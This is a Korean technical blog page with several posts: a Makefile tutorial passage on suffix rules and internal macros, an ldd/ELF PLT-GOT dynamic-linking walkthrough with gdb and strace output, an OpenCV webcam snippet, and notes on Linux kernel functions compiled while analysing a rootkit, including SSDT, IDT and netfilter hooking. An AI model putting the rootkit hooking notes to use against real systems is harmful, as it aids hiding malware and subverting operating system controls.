여기서 한가지 매크로가 등장하게 된다. .SUFFIXES 라고 하는 매크로인데 우리가 make 파일에게 주의 깊게 처리할 파일들의 확장자를 등록해 준다고 이해하면 될 것이다.

.SUFFIXES : .c .o

위의 표현은 '.c' 와 '.o' 확장자를 가진 파일들을 확장자 규칙에 의거해서 처리될 수 있도록 해준다. .SUFFIXES 매크로를 이용한 예제를 살펴보자.

Makefile예제 8


.SUFFIXES : .c .o 

OBJECTS = main.o read.o write.o
SRCS = main.c read.c write.c

CC = gcc 
CFLAGS = -g -c

TARGET = test

$(TARGET) : $(OBJECTS)
                $(CC) -o $(TARGET) $(OBJECTS)

clean : 
                rm -rf $(OBJECTS) $(TARGET) core 

main.o : io.h main.c 
read.o : io.h read.c
write.o: io.h write.c

위의 Makefile 을 동작시켜 보자.

% make
gcc -g -c main.c -o main.o
gcc -g -c read.c -o read.o
gcc -g -c write.c -o write.o
gcc -o test main.o read.o write.o <- OK

확장자 규칙에 의해서 make는 파일들간의 확장자를 자동으로 인식해서 필요한 작업을 수행한다. 즉 아래의 루틴이 자동적으로 동작하게 된다.

.c.o : 
$(CC) $(CFLAGS) -c $< -o $@

=> 참고: gmake에서는 약간 다르게 정의되어 있지만, 우선은 같다고 이해합시다. $< , $@ 에 대해서는 곧 설명합니다.

우리가 .SUFFIXES : .c .o 라고 했기 때문에 make 내부에서는 미리 정의된 .c (C 소스 파일)를 컴파일해서 .o (목적 파일)를 만들어 내는 루틴이 자동적으로 동작하게 되어 있다. CC와 CFLAGS 도 우리가 정의한 대로 치환될 것임은 의심할 여지가 없다.

make 내부에서 기본적으로 서비스를 제공해 주는 확장자들의 리스트를 열거해 보면 아래와 같다. 각 확장자에 따른 자세한 설명은 생략한다.

.out .a .ln .o .c .cc .C .p .f .F .r .y .l .s .S .mod .sym .def .h .info .dvi .tex .texinfo .texi .txinfo .w .ch .web .sh .elc .el

Makefile내부에서 .SUFFIXES 매크로의 값을 세팅해 주면 내부적으로 정의된 확장자의 연산이 동작을 하게 된다. 따라서 확장자 규칙은 make가 어느 확장자를 가진 파일들을 처리할 것인가를 정해 주는 것이라고 생각할 수 있다.

그러나 이것은 필자만의 생각일지 몰라도 make에서 자동적으로 확장자를 알아서 해주는 것이 좋긴 하지만, 필자는 일부러 위의 .c.o 에 해당되는 부분을 그냥 정의해서 쓰길 더 좋아한다. 이것은 지금까지의 습관상 그렇지만 왠지 우리가 정의하는 것이 더 자유롭게(flexible) 사용할 수 있을 것 같기 때문이다. 그리고 이런 기능은 우리가 작성을 해봐야 make의 메카니즘을 더 잘 이해할 수 있다고 생각한다.

예제 8 의 내용을 약간 바꾸어 보자.

Makefile예제 9


.SUFFIXES : .c .o 

OBJECTS = main.o read.o write.o
SRCS = main.c read.c write.c

CC = gcc 
CFLAGS = -g -c 
INC = -I/home/raxis/include <- include 패스 추가

TARGET = test

$(TARGET) : $(OBJECTS)
                $(CC) -o $(TARGET) $(OBJECTS)

.c.o : <- 우리가 확장자 규칙을 구현
                $(CC) $(INC) $(CFLAGS) $<-

clean : 
                rm -rf $(OBJECTS) $(TARGET) core 

main.o : io.h main.c
read.o : io.h read.c
write.o : io.h write.c

% make
gcc -I/home/raxis/include -g -c main.c
gcc -I/home/raxis/include -g -c read.c
gcc -I/home/raxis/include -g -c write.c
gcc -o test main.o read.o write.o <- OK

예제 8 과 예제 9 의 차이는 그저 .c .o 부분을 누가 처리하느냐이다. 그리고 예제 9에서는 INC 라는 매크로를 추가시켜서 컴파일할때 이용하도록 하였다.

3.4 내부 매크로 (Internal macro)

make에서는 내부 매크로라는 것이 있다. 이것은 우리가 맘대로 정할 수 있는 매크로는 절대 아니다. 대신 매크로를 연산, 처리하는데 쓰이는 매크로라고 하는 것이 더 적당할 것이다.

Internal Macro 예제 10


$* <- 확장자가 없는 현재의 목표 파일(Target)

$@ <- 현재의 목표 파일(Target)

$< <- 현재의 목표 파일(Target)보다 더 최근에 갱신된 파일 이름

$? <- 현재의 목표 파일(Target)보다 더 최근에 갱신된 파일이름

=> 참고: 책에서는 $< 와 $?를 약간 구분하고 있지만 거의 같다고 봐도 무방할 것입니다.

각 내부 매크로에 대한 예를 보기로 한다.

main.o : main.c io.h
gcc -c $*.c

$* 는 확장자가 없는 현재의 목표 파일이므로 $* 는 결국 main 에 해당한다.

test : $(OBJS)
gcc -o $@ $*.c

$@는 현재의 목표 파일이다. 즉 test에 해당된다.

.c.o :
gcc -c $< (또는 gcc -c $*.c)

$< 는 현재의 목표 파일보다 더 최근에 갱신된 파일 이름이라고 하였다. .o 파일보다 더 최근에 갱신된 .c 파일은 자동적으로 컴파일이 된다. 가령 main.o를 만들고 난 다음에 main.c를 갱신하게 되면 main.c는 $<의 작용에 의해 새롭게 컴파일이 된다.

=> 참고: 이제 예제 9 을 이해할 수 있겠습니까?

=> 참고: Makefile 파일을 작성해 놓고, 그냥 make만 치시면 make는 Makefile의 내용을 살펴보다가 첫 번째 목표 파일에 해당되는 것을 실행시키게 됩니다. 따라서 위의 예제에서는 make test 라고 해도 같은 결과를 내게 됩니다. 반면 clean에 해당하는 부분을 윗부분에 두게 되면 make는 항상 make clean을 수행하게 됩니다.

% make <- make clean 이 실행됨
rm -rf main.o read.o write.o test core

% make test <- 강제적으로 test 가 생성되게 한다.
gcc -I/home/raxis/include -g -c main.c
gcc -I/home/raxis/include -g -c read.c
gcc -I/home/raxis/include -g -c write.c
gcc -o test write.c main.o read.o write.o <- OK

Makefile의 이해를 돕기 위해서 Makefile을 하나 더 작성해 보기로 한다. make.tex 파일을 make.dvi로 만든 다음 이것을 다시 make.ps로 만드는 것이다. 보통의 순서라면 아래와 같다.

% latex make.tex <- make.dvi 가 만들어진다.
% dvips make.dvi -o <- make.ps 가 만들어진다.

보통의 가장 간단한 Makefile을 작성해 보면 아래와 같다.

Makefile예제 11


make.ps : make.dvi
                dvips make.dvi -o

make.dvi : make.tex
                latex make.tex 

위와 같은 일을 하는 Makefile을 다르게 한번 작성해 보자. 매크로를 어느정도 사용해 보기로 하며, 확장자 규칙을 한번 적용해 보기로 한다.

Makefile예제 12


.SUFFIXES : .tex .dvi 

TEX = latex <- TEX 매크로를 재정의

PSFILE = make.ps 
DVIFILE = make.dvi

$(PSFILE) : $(DVIFILE)
                dvips $(DVIFILE) -o

make.ps : make.dvi 
make.dvi : make.tex

예제 12 에서는 .tex 와 .dvi 를 처리하는 루틴이 자동적으로 동작을 하게 된다. Makefile 을 한번 동작시켜 보자.

% make
latex make.tex
....
dvips make.dvi -o <- OK

예제 11 과 예제 12 는 하는 일은 같다. 하지만 예제 12는 매크로를 사용함으로써 나중에 내용을 바꿀 때 예제 11보다 편하다는 것을 이해하였으므로...

다음장 예고

무엇인가를 글로 설명한다는 것이 참 힘드네요...

사실 오늘 한 것만 가지고도 Makefile에 대한 어느 정도의 지식을 갖추었다고 말할 수가 있습니다. 자신만의 Makefile을 한번 작성해 보시죠. 프로그램도 괜찮고, .tex 파일을 .ps 파일로 만드는 과정을 Makefile로 만들어 보는 것도 좋은 연습이 될 것입니다.

다음 편에서 여러분에게 소개해 드릴 것은 make 옵션, makefile 작성 지침(guideline), make 사용 시에 나타나는 에러의 원인과 그 대처 방법이 될 것 같군요. (아직 확정된 것은 아니지만...) Makefile에 관한 입문 과정은 다음 장으로 끝내고, 4장부터는 약간 고급스러운 기능을 강좌하도록 하겠습니다. 많이 읽어 주세요. 댕스 였습니다.


이전페이지 다음페이지 차례

Posted by k1rha
2014. 5. 14. 17:32

#ldd 명령어 분석 ( for dynamic symbol 저장 위치 찾기)  , ldd 동작 방식 ,shared library 호출 방식 

  1. #ldd 명령어 소스코드의 원형 분석
  • 파일 및 공유라이브러리들의 공유라이브러리 의존관계 출력 command 내부적으로LD_TRACE_LOADED_OBJECT=1 사용


        /* ld.so magic */

        setenv("LD_TRACE_LOADED_OBJECTS", "yes", 1);

        if (fmt1)

                setenv("LD_TRACE_LOADED_OBJECTS_FMT1", fmt1, 1);

        if (fmt2)

                setenv("LD_TRACE_LOADED_OBJECTS_FMT2", fmt2, 1);


  • 장점 : 실행 바이너리 실행되지 않은 공유 라이브러리 들간의 의존도도 있다. ( 2번에서 이어서 설명 )

 

 

  1. LD_TRACE_LOADED_OBJECT
  • root@k1rh4:~/libtest/1# LD_TRACE_LOADED_OBJECTS=1 ./main

        linux-gate.so.1 =>  (0xb774b000)

        libstrcpy2.so => /usr/lib/libstrcpy2.so (0xb7735000)

        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb758b000)

        /lib/ld-linux.so.2 (0xb774c000)

 

  • #ldd 커맨드와 LD_TRACE_LOADED_OBJECT 차이 
  • ( 실행 중이지 않은 라이브러리의 공유라이브러리 의존도 확인 가능 여부 )

root@k1rh4:~/libtest/1# ldd /usr/lib/libstrcpy2.so

        linux-gate.so.1 =>  (0xb7788000)

        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c8000)

        /lib/ld-linux.so.2 (0xb7789000)

root@k1rh4:~/libtest/1# LD_TRACE_LOADED_OBJECTS=1 /usr/lib/libstrcpy2.so

세그멘테이션 오류 (core dumped)

실행파일만 .

 

 

  1. ELF 헤더 정보에 dynamic 심볼 정보를 참조.

 (테스트환경은 strcpy2 공유라이브러리를 링킹 테스트)

 

  • ELF section header 정보 ( 우측 )
    • [6].dynstr (STRTAB) 0x8048298 심볼 정보가 컴파일 저장됨.

(gdb) x/20s 0x08048298    //아래 섹션 헤더 부분을 참조 

0x8048298:       ""

0x8048299:       "libstrcpy2.so"   // 아래 섹션헤더 부분을 참조 

0x80482a7:       "__gmon_start__"

0x80482b6:       "_Jv_RegisterClasses"

0x80482ca:       "_init"

0x80482d0:       "_fini"

0x80482d6:       "strcpy2"

0x80482de:       "libc.so.6"

0x80482e8:       "_IO_stdin_used"

0x80482f7:       "__libc_start_main"

0x8048309:       "_edata"

0x8048310:       "__bss_start"

0x804831c:       "_end"

0x8048321:       "GLIBC_2.0"

0x804832b:       <Address 0x804832b out of bounds>

정보를 기준으로 libstrcpy2.so 탐색함.

 

  • 바이너리 실행 library 이름으로 탐색함

root@k1rh4:~/libtest/1# strace -i ./main

[b77b1424] execve("./main", ["./main"], [/* 20 vars */]) = 0

[b773bf94] brk(0)                       = 0x8228000

[b773dcb1] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

[b773dd63] mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7723000

[b773dcb1] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)

[b773db74] open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3

[b773dafd] fstat64(3, {st_mode=S_IFREG|0644, st_size=67880, ...}) = 0

[b773dd63] mmap2(NULL, 67880, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7712000

[b773dbad] close(3)                     = 0

[b773dcb1] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

[b773db74] open("/usr/lib/libstrcpy2.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

[b773db74] open("/lib/i386-linux-gnu/tls/i686/sse2/cmov/libstrcpy2.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

[b773dabd] stat64("/lib/i386-linux-gnu/tls/i686/sse2/cmov", 0xbff9d860) = -1 ENOENT (No such file or directory)

[b773db74] open("/lib/i386-linux-gnu/tls/i686/sse2/libstrcpy2.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

[b773dabd] stat64("/lib/i386-linux-gnu/tls/i686/sse2", 0xbff9d860) = -1 ENOENT (No such file or directory)

[b773db74] open("/lib/i386-linux-gnu/tls/i686/cmov/libstrcpy2.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

.

.( 탐색 중… )

.

[b773db74] open("/lib/libstrcpy2.so", O_RDONLY|O_CLOEXEC) = 3  

           //   [ /lib/ 에서  strcpy2 공유 라이브러리를 찾음 ]

[b773dbf4] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260\3\0\0004\0\0\0"..., 512) = 512

[b773dafd] fstat64(3, {st_mode=S_IFREG|0755, st_size=6760, ...}) = 0

[b773dd63] mmap2(NULL, 8216, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb770f000

             //   [ /lib/libstrcpy2.so ] 메모리에 적재 시킴

 

  • 바이너리를 실행하면 .init 보다 먼저 공유라이브러리가 올라오게 된다.

(gdb) x/10xi 0xb7fc746c  // 공유라이브러리의 strcpy2()

   0xb7fc746c <strcpy2>:        push   %ebp

   0xb7fc746d <strcpy2+1>:      mov    %esp,%ebp

   0xb7fc746f <strcpy2+3>:      push   %ebx

   0xb7fc7470 <strcpy2+4>:      sub    $0x14,%esp

   0xb7fc7473 <strcpy2+7>:      call   0xb7fc7467 <__i686.get_pc_thunk.bx>

   0xb7fc7478 <strcpy2+12>:     add    $0x1b7c,%ebx

   0xb7fc747e <strcpy2+18>:     lea    -0x1b02(%ebx),%eax

   0xb7fc7484 <strcpy2+24>:     mov    %eax,(%esp)

   0xb7fc7487 <strcpy2+27>:     call   0xb7fc7380 <printf@plt>

   0xb7fc748c <strcpy2+32>:     add    $0x14,%esp

 


  • Strcpy2@PLT -> strcpy2@GOT.PLT 가리키고 있음.

(gdb) x/10xi 0x80483f0

   0x80483f0 <strcpy2@plt>:     jmp    *0x804a008

   0x80483f6 <strcpy2@plt+6>:   push   $0x10

   0x80483fb <strcpy2@plt+11>:  jmp    0x80483c0

(gdb) x/10xi 0x804a008

   0x804a008 <strcpy2@got.plt>: testb  $0x0,0x804(%ebx)

 

        • Strcpy 한번 호출 뒤의 변화

(gdb) x/10xi 0x80483f0

   0x80483f0 <strcpy2@plt>:     jmp    *0x804a008

   0x80483f6 <strcpy2@plt+6>:   push   $0x10

   0x80483fb <strcpy2@plt+11>:  jmp    0x80483c0

(gdb) x/10xi *0x804a008

   0xb7fc746c <strcpy2>:        push   %ebp   // 공유라이브러리의 주소

   0xb7fc746d <strcpy2+1>:      mov    %esp,%ebp

   0xb7fc746f <strcpy2+3>:      push   %ebx

   0xb7fc7470 <strcpy2+4>:      sub    $0x14,%esp

   0xb7fc7473 <strcpy2+7>:      call   0xb7fc7467 <__i686.get_pc_thunk.bx>


[ Section Headers: ]

  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al

  [ 0]                       NULL            00000000 000000 000000 00      0   0  0

  [ 1] .interp              PROGBITS        08048154 000154 000013 00   A  0   0  1

  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4

  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4

  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 00003c 04   A  5   0  4

  [ 5] .dynsym           DYNSYM          080481e8 0001e8 0000b0 10   A  6   1  4

  [ 6] .dynstr            STRTAB          08048298 000298 000093 00   A  0   0  1   // 참조된 섹션 헤더

  [ 7] .gnu.version      VERSYM          0804832c 00032c 000016 02   A  5   0  2

  [ 8] .gnu.version_r    VERNEED         08048344 000344 000020 00   A  6   1  4

  [ 9] .rel.dyn            REL             08048364 000364 000008 08   A  5   0  4

  [10] .rel.plt             REL             0804836c 00036c 000018 08   A  5  12  4

  [11] .init                PROGBITS        08048384 000384 00002e 00  AX  0   0  4

  [12] .plt               PROGBITS        080483c0 0003c0 000040 04  AX  0   0 16

  [13] .text              PROGBITS        08048400 000400 00017c 00  AX  0   0 16

  [14] .fini               PROGBITS        0804857c 00057c 00001a 00  AX  0   0  4

  [15] .rodata           PROGBITS        08048598 000598 000008 00   A  0   0  4

  [16] .eh_frame_hdr  PROGBITS        080485a0 0005a0 000034 00   A  0   0  4

  [17] .eh_frame        PROGBITS        080485d4 0005d4 0000c4 00   A  0   0  4

  [18] .ctors             PROGBITS        08049f0c 000f0c 000008 00  WA  0   0  4

  [19] .dtors             PROGBITS        08049f14 000f14 000008 00  WA  0   0  4

  [20] .jcr                PROGBITS        08049f1c 000f1c 000004 00  WA  0   0  4

  [21] .dynamic         DYNAMIC         08049f20 000f20 0000d0 08  WA  6   0  4

  [22] .got              PROGBITS        08049ff0 000ff0 000004 04  WA  0   0  4

  [23] .got.plt          PROGBITS        08049ff4 000ff4 000018 04  WA  0   0  4

  [24] .data              PROGBITS        0804a00c 00100c 000008 00  WA  0   0  4

  [25] .bss               NOBITS          0804a014 001014 000008 00  WA  0   0  4

  [26] .comment       PROGBITS        00000000 001014 00002a 01  MS  0   0  1

  [27] .shstrtab         STRTAB          00000000 00103e 0000fc 00      0   0  1

  [28] .symtab          SYMTAB          00000000 0015ec 000410 10     29  45  4

  [29] .strtab           STRTAB          00000000 0019fc 0001f2 00      0   0  1


Posted by k1rha
2014. 5. 2. 22:22

OPEN CV 카메라 화면 띄우는 코드 


[ 관련 자료 : http://yonghello.tistory.com/148 ]

[ 설치 및 환경설정 자료 : http://mymnboy.egloos.com/viewer/987948 ]

http://www.microsoft.com/ko-kr/download/confirmation.aspx?id=40784


 

#include<opencv/cv.h>

#include<opencv/highgui.h>

 

using namespace cv;

 

int main()

{

          Mat image;

 

          /*동영상 파일이나 카메라를 통해 들어오는 영상의 캡쳐를 위한 클래스.*/

          VideoCapture cap;

          /*VideoCapture클래스의 인스턴스를 통해서 연결된 웹캠의 제어를 받는 부분.0이라는 숫자는 카메라의 id값이다.

             현재 연결된 내부 카메라(built in webcam)를 의미한다.하지만 외부에 웹캠이 따로 연결되면 그 웹캠의 id값이 0이 된다.*/

           cap.open(0);


          namedWindow("window", CV_WINDOW_AUTOSIZE);

           

           /*루프를 돌면서 프레임 단위로 이미지를 받아들이는 부분.*/

          while(1)

        {

                /*VideoCapture로 이미지 프레임 하나를 받아서 image변수로 넘김.*/

                 if(cap.read(image) == NULL)

              {

                     cout<<"frame was not read."<<endl;

              }

 

                 /*이미지 프레임을 윈도우를 통해서 스크린으로 출력.이 과정이 반복되면서 영상이 출력되게 된다.*/

                imshow("window", image);

 

               /*delay 33ms*/

               waitKey(33);

           }

         return 0;

}



Posted by k1rha
2014. 5. 2. 16:58

[ kernel ] 루트킷 분석하다가 조사한 커널 함수들.


Init_module : 커널함수의 시작은 main 대신 init_moudle 사용함.

IOCTL : read(), write() 와같이 읽기 쓰기 처리가 가능  -> 하드웨어의 제어나 상태를 얻기 위해 사용

Inet_add_protocol : 새로운 네트워크 프로토콜을 설정할수있음

Inet_del_protocol  : 기존 네트워크 프로토콜 삭제

create_proc_entry : proc 파일 시스템에서 접근   있는 파일을 만든다만들  있는 최상위 디렉토리는 /proc 이다. (구조체로 존재)

 

i_node 구조 (리눅스 디폴트 파일 시스템 ex2, ex3  채택)

  • i-mode : 파일의 속성  접근제어 정보 ( 정규파일 : S_IFREG , 디렉터리 : S_IFDIR , 장치파일 : S_IFCHR , 블록장치파일 : S_IFBLK , 파이프 : S_IFFIFO, 소켓 : S_IFSOCK

 

MODULE_PARM(char * modname, "s") // kernel 2.4 부터 insmod  인자를 받을  있도록 구성되었는데, s  문자열 형태를 받겠다는 

int gettimeofday(struct timeval *tv, struct timezone *tz);  :  timezone  설정함

copy_from_user(void * to, const void __user * from, unsigned long n)  :  사용자 메모리 블록 데이터를 커널 메모리 블록 데이터에  넣는다.

                                                                                             (from 사용자메모리, to 커널메모리)

 

nl->next = kmalloc(sizeof(struct nethide_list), GFP_KERNEL);

GFP_ATOMIC

메모리가 있으면 할당 없으면 NULL. 휴면 불가능

GFP_KERNEL

메모리 할당이 항상 성공하도록 요구, 메모리가 충분하지 않을 경우는 호출한 프로세스를 멈추고 동적 메모리 할당할 수 있는 상태가 될 때까지 대기. 휴면가능.

GFP_USER

유저 메모리를 할당함.  휴면 가능 

GFP_DMA

연속된 물리 메모리를 할당 받을 때 사용

 

 

즉, /dev/mem은 실제 물리 메모리, /dev/kmem은 커널 가상 메모리 공간에 접근할 수 있는 디바이스 파일입니다.

 

  • Hook, 우선순위1B Hook, 우선순위2C Hook, 우선순위 있을  nf_register_hook( D Hook, 우선순위2 ) 하면 아래처럼 
  • Hook, 우선순위1B Hook, 우선순위2 , D Hook, 우선순위,C Hook, 우선순위3

 

 

EXPORT_NO_SYMBOLS  :  전역 변수와 전역 함수를 커널 심볼 테이블에 등록해 놓음 ( 공개되지 않은 코드임 )

Dentry  ? : 해당 디렉토리가 포함하고 있는 디렉토리와 파일정보를 보유 하고 있음

 

 

Getdents()  Get directory entrys  : 디렉토리의 속성을 가져옴

query_module() : 함수를 이용해 커널 심볼 테이블과 커널에 적재된 다른 모듈의 심볼 테이블을 구한다이때 query_module() 함수에 QM_MODULES, QM_INFO, QM_SYMBOL 값을 지정하여 필요한 정보를 가져오는데, QM_MODULES는 커널에 포함된 모듈명을 얻어올 때 사용하며, QM_INFO는 각 모듈의 시작 주소와 크기를 얻기 위해 사용한다. 앞에서 구한 모듈 정보를 통해 QM_SYMBOL로 실질적인 커널 심볼 테이블과 커널에 적재된 다른 모듈의 심볼 테이블을 구한다

 

___this_module  : 현재 커널을 가리키고 있는 커널 내부 변수 

Ex)struct module *m = &__this_module;

 

Sysenter : sysenter가 호출되면 IA32_SYSENTER_EIP를 참고하여 KiFastCallEntry가 호출되는 것을 알 수 있었다.

커널 2.6 부터는 시스템 테이블을 그냥 오버라이딩   없기 때문에 나온 .

 

SSDT 후킹은 윈도우즈 API 가 커널 모드에서 서비스를 받기 위해 필요한 SSDT(System Service Descriptor Table) 의 내용을 조작하는 커널모드 후킹 방법 중에 하나 이다.

 

sysenter 명령은 유저모드에서 사용되는 명령어로, 현재 스레드가 유저모드에서 커널모드로 진입 시켜주는 역할을 한다. 인텔 메뉴얼에 보면 SYSENTER_EIP_MSR 가 가르키는 위치를 eip 레지스터에 넣어 실행 한다고 나와 있는데, 이 값은 MSRs(MODEL-SPECIFIC REGISTERS) 의 0x176 주소에서 가져온다. MSRs 는 rdmsr 명령으로 읽어올 수 있다.

 

IDT ( Interrupt Descriptor Table ) : 프로세서에서 인터럽트 혹은 exception  걸렸을 경우에 수행해야할 핸들러의 주소를 저장해 놓은것을 인터럽트 혹은 excetpion vector 라고 한다인텔 프로세서에서는 이러한 인터럽트 혹은 eception 핸들러들의 벡터와 벡터의 정보등을 저장해두는 구조체를 IDT 라고 부른다.

 

IDTR : 펜티엄에는 IDTR 이라 불리우는 특별한 레지스터가 존재한다 레지스터는 시스템의 IDT 존재하는 메모리 주소의베이스 어드레스와

IDT entry 의 개수가 저장되기로 약속된 레지스터 이다.

 

CPU 코어마다 IDTR 해당 IDTR 가리키는 IDT table   개수만큼 존재한다.

예를 들어 듀얼코어라면 IDTR 2개가 되고 IDT Table  두개가 된다그래서 보통 CPU 개수를 구해서 모든 IDT 조작하는 방식을 사용한다.

__asm sidt var : 해당 명령어를통해 var 변수에 IDT Entry[0] 번째 값이 들어간다.

__asm cli : 인텁트 발생 불가상태

__asm sti : 인터럽트 발생 가능 상태

 

rwlock_init : thread lock  읽고   있음

 

Kernel_thread  : 예전에 2.4.* 커널에서는 kernel_thread 함수을 직접 이용해서 thread 를 생성하고 스레드를 종료시킬때 complete을 이용해서 스레드 함수가 완전해 종료될때 까지 기다렸다가 모듈을 종료하였는데 2.6 의 현재 최신커널에서는 kthread을 사용하여 해서 위의 작업을 하는 함수가 만들어져 있다.

 

proc_dir_entry : 프로세스 디렉토리 속성값을 가지고 있는 커널 구조체

User_path_walk : it get the filename passed as argument and retrive the inode informations.. :)

lookup_dentry() : 파일 경로명을 가져온다그리고 엔트리 값을 반환한다.

GFP_KERNEL option으로 호출하면, kmalloc 당장은 메모리가 모잘라도 메모리가 생길 때까지 계속 try하는 반면에...

GFP_USER option으로 호출하면메모리 부족하면 대충 fail 끝나버리는 차이를 말하는 듯합니다.

inet_add_protocol() : 프로토콜 모듈 추가

 

nf_register_hook() 함수 : netfilter 후킹할때 사용하는데정확한 사전적 용어는 못찾음

 

init_mm은 mm_struct 라는 구조체로 이루어져 있는데 다음과 같다. 

mm_struct

위의 mm_struct 의 주석내용을 보면 다음과 같습니다. 

"owner"는 지금 mm struct의 user/owner인 정규(canonical) task를 가르켜야 한다.

init_task는 다음과 같다. 

 따라서 만약에 owner  바뀌기 위해서는 다음과 같은 과정이 행해져야 한다. 

현재 task  == mm->owner

현재 task의 mm != mm

새로운 task->mm = mm

새로운 task->alloc_lock 이 잠겨있어야 owner가 바뀔 수 있다.


'C,C++ > C' 카테고리의 다른 글

[ attribute 관련 속성 정리 ]  (0) 2014.07.02
LINUX dlopen 으로 dynamic 하게 library 호출  (0) 2014.04.24
Posted by k1rha